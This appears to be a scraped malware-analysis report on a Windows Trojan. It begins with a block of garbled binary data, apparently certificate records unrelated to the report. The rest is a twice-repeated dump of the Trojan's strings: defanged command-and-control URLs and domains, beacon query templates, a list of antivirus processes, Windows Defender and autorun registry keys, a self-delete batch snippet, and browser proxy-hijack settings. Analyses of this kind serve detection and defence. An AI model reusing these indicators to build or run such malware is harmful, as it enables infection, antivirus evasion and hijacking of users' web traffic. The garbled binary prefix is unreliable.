.a....061205224400Z0!.....}...../5.=.....041018225848Z0!.....B.w5$.h..,."...060707142917Z0!....]....d..........041217144015Z0!.........1.9.fwI.a..050926191715Z0!............*.>W....041221185802Z0!...."....J..l.......050712133504Z0!....X.r..'7hK._.....080804054612Z0!....Q)..6.....4.[...051018015040Z0!.........Y.=.U=y....060308034429Z0!....:..I.. ......Y..060912161745Z0!......t..Au...e `...060406020106Z0!........&.zR.....J..080220163354Z0!...%.&.f./....>.H...070216105424Z0!...8....n..#b.dM....090505134237Z0!...E..1..>..........070621145128Z0!...L.k'.W..!.;w0....060711202546Z0!...U.......Te.c.....080829025216Z0!...qo..b..>...C.....081214140650Z0!.......?....War.y...061019142712Z0!.......^i7.6_m..W...070122210641Z0!

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1648:

`.rsrc

\K.iC

u.Vh|

SSShbU@

SSShp

SSj%S

GetProcessWindowStation

operator

1.2.5

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

\sc.exe

ntdll.dll

iexplore.exe

opera.exe

firefox.exe

safari.exe

chrome.exe

AVGIDSMonitor.exe

AVGIDSAgent.exe

avgchsvx.exe

avgemcx.exe

avgnsx.exe

avgrsx.exe

avgtray.exe

avgwdsvc.exe

avgnt.exe

ccsvchst.exe

AvastUI.exe

mcagent.exe

SOFTWARE\Microsoft\Windows Defender\Real-Time Protection

SOFTWARE\Microsoft\Windows Defender

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

explorer.exe

Windows Security Center

%s\shell32.dll,Control_RunDLL "%s\wscui.cpl",Security Center

rundll32.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Windows Defender

at %d:%d "%s" %s

win32iexplore.exe

win32opera.exe

win32firefox.exe

win32safari.exe

win32winword.exe

win32excel.exe

win32outlook.exe

win32photoshop.exe

win32wmplayer.exe

win32java.exe

win32itunes.exe

win32msmsgs.exe

java.exe

*.log

%s:\windows\system32\%s.tmp

%s:\windows\syswow64\%s.tmp

%s:\WINNT\system32\%s.tmp

%s:\WINNT\syswow64\%s.tmp

Find Temporary files is %d

cannot open files %s, Open next files ?

{A1D429DE-B782-4253-84AD-6E09A8438AD5}

\Windows NT

Software\Microsoft\Windows\CurrentVersion\Run

%s\%s

%s.%s

stor.cfg

exec%s

{35BCA615-C82A-4152-8857-BCC626AE4C8D}

{4D92BB9F-9A66-458f-ACA4-66172A7016D4}

lvvm.exe

{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}

{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}

{6B985724-623F-492e-B0D6-C9715ADE853B}

{B37C48AF-B05C-4520-8B38-2FE181D5DC78}

{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}

Advapi32.dll

%s%s_1

%s_0_%d_%s

%s_%d

%s_%d_%d_%d_%d

%s_%s

hXXp://xprstats.com/k1.php

type=%s&system=na&id=%s&status=%s

t=st&q=%s

%s?tq=%s

TMFLDMN%d

id=%s&p3=0&p4=0&hwid=%s&c=%d&nax=7&ver=122

%s_%s_%d

_1_%d

_2_%d

_3_%d

_4_%d

regremotehelper.com

wwwmp3archives.com

faststorageonline.com

yordataarchive.com

phonegamescatalog.com

yourstarportal.com

onlinepdahelpforyou.com

remarkreddomas.com

transfersakkonline.com

backupdomaintolevel.com

SELECT_RESERV_SRV_%d

hXXp://%s.%s

%s_%d_%s

id=%s&c=%d

%s_%d_%d_%d

%s_%d_%d

%s %s

%s start%s%c%s

c1.exe

c2.exe

c3.exe

DWN_CON_STRP_%d_%s

hXXp://

hXXp://%d.ctrl.%s

logo.png

img/135.png

img/136.png

t=%s&p4=0&q=%s&z22=0&s=%d&hrs=%d

t=%s&q=&s=%d&hrs=%d

%s/%s?sv=%d&tq=%s

%s:%d/%s?sv=%d&tq=%s

hXXp://binghamtonschools.org/images/ace/1/ace_1101278014_1314729789.jpg

hXXp://binghamtonschools.org/images/297893.jpg

hXXp://binghamtonschools.org/images/297894.jpg

hXXp://alleducationalsoftware.com/creditcardlogos.gif

hXXp://alleducationalsoftware.com/creditcard.png

hXXp://alleducationalsoftware.com/creditcard2.png

hXXp://patentgenius.com/temp/head.png

hXXp://patentgenius.com/132.gif

hXXp://patentgenius.com/133.gif

hXXp://freedownload3.com/screenshot/4/s/89_3276.gif

hXXp://freedownload3.com/screenshot/4/s/89_3277.gif

hXXp://freedownload3.com/screenshot/4/s/89_3278.gif

hXXp://istockanalyst.com/png/intel.gif

hXXp://istockanalyst.com/png/intel.jpg

hXXp://istockanalyst.com/12.jpg

hXXp://complaintsboard.com/complaints/logo.png

hXXp://complaintsboard.com/complaints/zip.png

hXXp://complaintsboard.com/complaints/rar.png

hXXp://highspeedinternetlosangeles.webnode.com/news/1.cgi

hXXp://highspeedinternetlosangeles.webnode.com/news/1.php

hXXp://highspeedinternetlosangeles.webnode.com/news/2.php

hXXp://newworldorderreport.com/favicon.ico

hXXp://newworldorderreport.com/img/3421.png

hXXp://newworldorderreport.com/img/3422.png

hXXp://jointhenewworldorder.com/images/pages.jpg

hXXp://jointhenewworldorder.com/images/pages.png

hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame6.png

hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame7.png

hXXp://cdn.adventofdeception.com/logo.png

t=t&hrs=%d&q=id=1000&ver=%s&s=%d

t=ip&hrs=%d&q=&s=1

%s?sv=%d&tq=%s

\bl%d_64.bat

del "%s"

if exist "%s" goto a

cmd.exe /c "%s"

%s.zl

GET %s HTTP/1.1

Host: %s

User-Agent: chrome/9.0

POST %s HTTP/1.1

Content-Length: %u

HTTP/1.0 200 OK

HTTP/1.1 200 OK

{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d

{C66E79CE-8935-4ed9-A6B1-4983619CB925}

{61B98B86-5F44-42b3-BCA1-33904B067B81}

{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}

{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}

ahst.lni

milktoyoustudios.com

hXXp://%s/s.php?c=121&id=%s

bigbulkhypnocrys.com

hXXp://xprstats.com/images/logo.png

drweb

id=%s&hwid=%s&ver=%d&os=%s&av=%s&wd=%d&fw=%s&port=%d

t=ml&q=%s

xprstats.com

hXXp://%s%s

%s_1_%d_%s

%s_2_%d_%s

%s_3_%d_%s

%s_4_%d_%s

pmv=2&id=%s&hwid=%s

u.exe

%s up%s

&%s=%s

PRM_LSTN_THIS_PORT

Opera

127.0.0.1

HTTP/1.x

google.com

hXXp://VVV.google.com

HTTP/1.1 302 Found

Location: %s

id=%s&type=%d&ppcid=%s

%s: %s

%s_5_%s

http=127.0.0.1:

prefs.js

Mozilla

"network.proxy.http"

"network.proxy.http_port"

"network.proxy.type"

"127.0.0.1"

%s(%s, %s);

operaprefs.ini

Use HTTP

HTTP server

127.0.0.1:%s

%s=%s

%s:%s

hwid=%s&yui=2&id=%s&step=1&wd=%d&rvn=56&av=%s

id=%s&hwid=%s

exec|%s

http=

bing.com

yahoo.com

search.aol.

suche.aol.

searcht2.aol.

.yimg.com

.bing.net

scorecardresearch.com

brightcove.com

.aol.

.atwola.

.ivwbox.

.google

.atdmt.

.abmr.

.tacoda.

.adtechus.

.autodatadirect.

.mapquestapi.

.ggpht.

.virtualearth.

.opera.

.microsoft.

.wsod.

.doubleclick.

.ypcdn.

.truveo.

.tlowdb.

mapq.st

.dartsearch.

.thawte.

http://

bing.com/search

bing.com:80/search

search.yahoo.com/search

%s_1_%s

err%d%s_%d_%d

err0%s_%d_%d

ver=122&system=%d&id=%s&hwid=%s&search=%s&referer=%s&useragent=%s&lang=%s&type=%d

%s:443/%s

%s_2_%s

%s_%s_%s

%s_3_%s

VVV.VVV.ru

hXXps://

.doubleclick.net

doubleclick.net

msn.com

%s_0%d_%d

=='undefined'?'%s':'%s'

.referrer

HTTP/1.0

%s %s %s

hXXp://VVV.google.com/

hXXp://VVV.yahoo.com/

.class

.midi

google_ad.url

google_ad.title

r.msn.com

google_ad.line1

zcÁ

c:\%original file name%.exe

%Program Files%\CF2C6

%Documents and Settings%\%current user%\Application Data\507CF

%Program Files%\LP\2D85

.text

`.rdata

@.data

.rsrc

h.dll

(BT%s'My

ole32.dll

USER32.dll

EnumWindows

ADVAPI32.dll

RegDeleteKeyA

RegSetKeySecurity

RegEnumKeyExA

ReportEventA

RegOpenKeyExA

RegCloseKey

RegCreateKeyA

RegEnumKeyA

RegCreateKeyExA

RegQueryInfoKeyA

RegOpenKeyExW

VERSION.dll

oleacc.dll

SHLWAPI.dll

RPCRT4.dll

KERNEL32.dll

GetProcessHeap

GetCPInfo

.hxxP

T4%u,

(.aRN

S /.cQ

G.XJ`

.yA!>

RegFlushKey

ShellExecuteA

SHDeleteKeyA

keybd_event

EnumChildWindows

WinHttpOpen

WinHttpQueryDataAvailable

WinHttpCloseHandle

WinHttpConnect

WinHttpSendRequest

WinHttpReceiveResponse

WinHttpReadData

WinHttpOpenRequest

KERNEL32.DLL

OLEAUT32.dll

PSAPI.DLL

RASAPI32.dll

SHELL32.dll

WINHTTP.dll

WININET.dll

WS2_32.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

mscoree.dll

WUSER32.DLL

\Registry\Machine\System\CurrentControlSet\Services\%s

Dr.Web

mhttp=127.0.0.1:%d

hXXp://VVV.yahoo.com

2.0.2.1

%original file name%.exe_1648_rwx_00147000_00001000:

.text

`.rdata

@.data

.rsrc

?\%Program Files%\LP\2D85\7.tmp

nnections\Pbk\*.pbk

<.pbk>

\??\%WinDir%\TEMP

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files

vczet0h.yordataarchive.com

%original file name%.exe_1648_rwx_00158000_00001000:

2.dll

w2.5.4.27

w2.5.4.28

w2.5.4.29

w2.5.4.30

w2.5.4.31

w2.5.4.32

w2.5.4.33

w2.5.4.34

w2.5.4.35

w2.5.4.36

w2.5.4.37

w2.5.4.38

w2.5.4.39

w2.5.4.40

w2.5.4.42

w2.5.4.43

w0.9.2342.19200300.100.1.25

w1.2.840.113549.1.9.20

w1.2.840.113549.1.9.21

w2.5.29.19

w2.5.29.10

w2.5.29.21

w2.5.29.37

w2.5.29.7

w2.5.29.8

w2.5.29.17

w2.5.29.18

w2.5.29.1

w2.5.29.35

w1.3.6.1.4.1.311.10.2

w2.5.29.14

w1.3.6.1.4.1.311.2.1.27

w1.2.840.113549.1.9.15

w2.5.29.15

w1.3.6.1.5.5.7.1.1

w2.5.29.2

w2.5.29.4

w2.5.29.31

w2.5.29.46

w2.5.29.32

w1.3.6.1.4.1.311.20.2

w1.3.6.1.4.1.311.13.2.3

w2.16.840.1.113730.1.1

w2.16.840.1.113730.1.2

w2.16.840.1.113730.1.3

w2.16.840.1.113730.1.4

w2.16.840.1.113730.1.7

w2.16.840.1.113730.1.8

w2.16.840.1.113730.1.12

w2.16.840.1.113730.1.13

w1.3.6.1.4.1.311.13.2.1

w1.3.6.1.4.1.311.21.1

w1.3.6.1.4.1.311.2.1.10

w2.5.29.20

w2.5.29.27

w1.3.6.1.4.1.311.21.3

w1.3.6.1.4.1.311.21.4

w2.5.29.28

w2.5.29.30

w1.3.6.1.4.1.311.21.2

w1.3.6.1.4.1.311.21.10

w2.5.29.33

w1.3.6.1.4.1.311.21.11

%original file name%.exe_1648_rwx_00400000_00068000:

`.rsrc

\K.iC

u.Vh|

SSShbU@

SSShp

SSj%S

GetProcessWindowStation

operator

1.2.5

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

\sc.exe

ntdll.dll

iexplore.exe

opera.exe

firefox.exe

safari.exe

chrome.exe

AVGIDSMonitor.exe

AVGIDSAgent.exe

avgchsvx.exe

avgemcx.exe

avgnsx.exe

avgrsx.exe

avgtray.exe

avgwdsvc.exe

avgnt.exe

ccsvchst.exe

AvastUI.exe

mcagent.exe

SOFTWARE\Microsoft\Windows Defender\Real-Time Protection

SOFTWARE\Microsoft\Windows Defender

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer

explorer.exe

Windows Security Center

%s\shell32.dll,Control_RunDLL "%s\wscui.cpl",Security Center

rundll32.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Windows Defender

at %d:%d "%s" %s

win32iexplore.exe

win32opera.exe

win32firefox.exe

win32safari.exe

win32winword.exe

win32excel.exe

win32outlook.exe

win32photoshop.exe

win32wmplayer.exe

win32java.exe

win32itunes.exe

win32msmsgs.exe

java.exe

*.log

%s:\windows\system32\%s.tmp

%s:\windows\syswow64\%s.tmp

%s:\WINNT\system32\%s.tmp

%s:\WINNT\syswow64\%s.tmp

Find Temporary files is %d

cannot open files %s, Open next files ?

{A1D429DE-B782-4253-84AD-6E09A8438AD5}

\Windows NT

Software\Microsoft\Windows\CurrentVersion\Run

%s\%s

%s.%s

stor.cfg

exec%s

{35BCA615-C82A-4152-8857-BCC626AE4C8D}

{4D92BB9F-9A66-458f-ACA4-66172A7016D4}

lvvm.exe

{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}

{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}

{6B985724-623F-492e-B0D6-C9715ADE853B}

{B37C48AF-B05C-4520-8B38-2FE181D5DC78}

{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}

Advapi32.dll

%s%s_1

%s_0_%d_%s

%s_%d

%s_%d_%d_%d_%d

%s_%s

hXXp://xprstats.com/k1.php

type=%s&system=na&id=%s&status=%s

t=st&q=%s

%s?tq=%s

TMFLDMN%d

id=%s&p3=0&p4=0&hwid=%s&c=%d&nax=7&ver=122

%s_%s_%d

_1_%d

_2_%d

_3_%d

_4_%d

regremotehelper.com

wwwmp3archives.com

faststorageonline.com

yordataarchive.com

phonegamescatalog.com

yourstarportal.com

onlinepdahelpforyou.com

remarkreddomas.com

transfersakkonline.com

backupdomaintolevel.com

SELECT_RESERV_SRV_%d

hXXp://%s.%s

%s_%d_%s

id=%s&c=%d

%s_%d_%d_%d

%s_%d_%d

%s %s

%s start%s%c%s

c1.exe

c2.exe

c3.exe

DWN_CON_STRP_%d_%s

hXXp://

hXXp://%d.ctrl.%s

logo.png

img/135.png

img/136.png

t=%s&p4=0&q=%s&z22=0&s=%d&hrs=%d

t=%s&q=&s=%d&hrs=%d

%s/%s?sv=%d&tq=%s

%s:%d/%s?sv=%d&tq=%s

hXXp://binghamtonschools.org/images/ace/1/ace_1101278014_1314729789.jpg

hXXp://binghamtonschools.org/images/297893.jpg

hXXp://binghamtonschools.org/images/297894.jpg

hXXp://alleducationalsoftware.com/creditcardlogos.gif

hXXp://alleducationalsoftware.com/creditcard.png

hXXp://alleducationalsoftware.com/creditcard2.png

hXXp://patentgenius.com/temp/head.png

hXXp://patentgenius.com/132.gif

hXXp://patentgenius.com/133.gif

hXXp://freedownload3.com/screenshot/4/s/89_3276.gif

hXXp://freedownload3.com/screenshot/4/s/89_3277.gif

hXXp://freedownload3.com/screenshot/4/s/89_3278.gif

hXXp://istockanalyst.com/png/intel.gif

hXXp://istockanalyst.com/png/intel.jpg

hXXp://istockanalyst.com/12.jpg

hXXp://complaintsboard.com/complaints/logo.png

hXXp://complaintsboard.com/complaints/zip.png

hXXp://complaintsboard.com/complaints/rar.png

hXXp://highspeedinternetlosangeles.webnode.com/news/1.cgi

hXXp://highspeedinternetlosangeles.webnode.com/news/1.php

hXXp://highspeedinternetlosangeles.webnode.com/news/2.php

hXXp://newworldorderreport.com/favicon.ico

hXXp://newworldorderreport.com/img/3421.png

hXXp://newworldorderreport.com/img/3422.png

hXXp://jointhenewworldorder.com/images/pages.jpg

hXXp://jointhenewworldorder.com/images/pages.png

hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame6.png

hXXp://cdn.adventofdeception.com/wp-content/uploads/2011/06/frame7.png

hXXp://cdn.adventofdeception.com/logo.png

t=t&hrs=%d&q=id=1000&ver=%s&s=%d

t=ip&hrs=%d&q=&s=1

%s?sv=%d&tq=%s

\bl%d_64.bat

del "%s"

if exist "%s" goto a

cmd.exe /c "%s"

%s.zl

GET %s HTTP/1.1

Host: %s

User-Agent: chrome/9.0

POST %s HTTP/1.1

Content-Length: %u

HTTP/1.0 200 OK

HTTP/1.1 200 OK

{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d

{C66E79CE-8935-4ed9-A6B1-4983619CB925}

{61B98B86-5F44-42b3-BCA1-33904B067B81}

{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}

{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}

ahst.lni

milktoyoustudios.com

hXXp://%s/s.php?c=121&id=%s

bigbulkhypnocrys.com

hXXp://xprstats.com/images/logo.png

drweb

id=%s&hwid=%s&ver=%d&os=%s&av=%s&wd=%d&fw=%s&port=%d

t=ml&q=%s

xprstats.com

hXXp://%s%s

%s_1_%d_%s

%s_2_%d_%s

%s_3_%d_%s

%s_4_%d_%s

pmv=2&id=%s&hwid=%s

u.exe

%s up%s

&%s=%s

PRM_LSTN_THIS_PORT

Opera

127.0.0.1

HTTP/1.x

google.com

hXXp://VVV.google.com

HTTP/1.1 302 Found

Location: %s

id=%s&type=%d&ppcid=%s

%s: %s

%s_5_%s

http=127.0.0.1:

prefs.js

Mozilla

"network.proxy.http"

"network.proxy.http_port"

"network.proxy.type"

"127.0.0.1"

%s(%s, %s);

operaprefs.ini

Use HTTP

HTTP server

127.0.0.1:%s

%s=%s

%s:%s

hwid=%s&yui=2&id=%s&step=1&wd=%d&rvn=56&av=%s

id=%s&hwid=%s

exec|%s

http=

bing.com

yahoo.com

search.aol.

suche.aol.

searcht2.aol.

.yimg.com

.bing.net

scorecardresearch.com

brightcove.com

.aol.

.atwola.

.ivwbox.

.google

.atdmt.

.abmr.

.tacoda.

.adtechus.

.autodatadirect.

.mapquestapi.

.ggpht.

.virtualearth.

.opera.

.microsoft.

.wsod.

.doubleclick.

.ypcdn.

.truveo.

.tlowdb.

mapq.st

.dartsearch.

.thawte.

http://

bing.com/search

bing.com:80/search

search.yahoo.com/search

%s_1_%s

err%d%s_%d_%d

err0%s_%d_%d

ver=122&system=%d&id=%s&hwid=%s&search=%s&referer=%s&useragent=%s&lang=%s&type=%d

%s:443/%s

%s_2_%s

%s_%s_%s

%s_3_%s

VVV.VVV.ru

hXXps://

.doubleclick.net

doubleclick.net

msn.com

%s_0%d_%d

=='undefined'?'%s':'%s'

.referrer

HTTP/1.0

%s %s %s

hXXp://VVV.google.com/

hXXp://VVV.yahoo.com/

.class

.midi

google_ad.url

google_ad.title

r.msn.com

google_ad.line1

zcÁ

c:\%original file name%.exe

%Program Files%\CF2C6

%Documents and Settings%\%current user%\Application Data\507CF

%Program Files%\LP\2D85

.text

`.rdata

@.data

.rsrc

h.dll

(BT%s'My

ole32.dll

USER32.dll

EnumWindows

ADVAPI32.dll

RegDeleteKeyA

RegSetKeySecurity

RegEnumKeyExA

ReportEventA

RegOpenKeyExA

RegCloseKey

RegCreateKeyA

RegEnumKeyA

RegCreateKeyExA

RegQueryInfoKeyA

RegOpenKeyExW

VERSION.dll

oleacc.dll

SHLWAPI.dll

RPCRT4.dll

KERNEL32.dll

GetProcessHeap

GetCPInfo

.hxxP

T4%u,

(.aRN

S /.cQ

G.XJ`

.yA!>

RegFlushKey

ShellExecuteA

SHDeleteKeyA

keybd_event

EnumChildWindows

WinHttpOpen

WinHttpQueryDataAvailable

WinHttpCloseHandle

WinHttpConnect

WinHttpSendRequest

WinHttpReceiveResponse

WinHttpReadData

WinHttpOpenRequest

KERNEL32.DLL

OLEAUT32.dll

PSAPI.DLL

RASAPI32.dll

SHELL32.dll

WINHTTP.dll

WININET.dll

WS2_32.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

mscoree.dll

WUSER32.DLL

\Registry\Machine\System\CurrentControlSet\Services\%s

Dr.Web

mhttp=127.0.0.1:%d

hXXp://VVV.yahoo.com

2.0.2.1

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps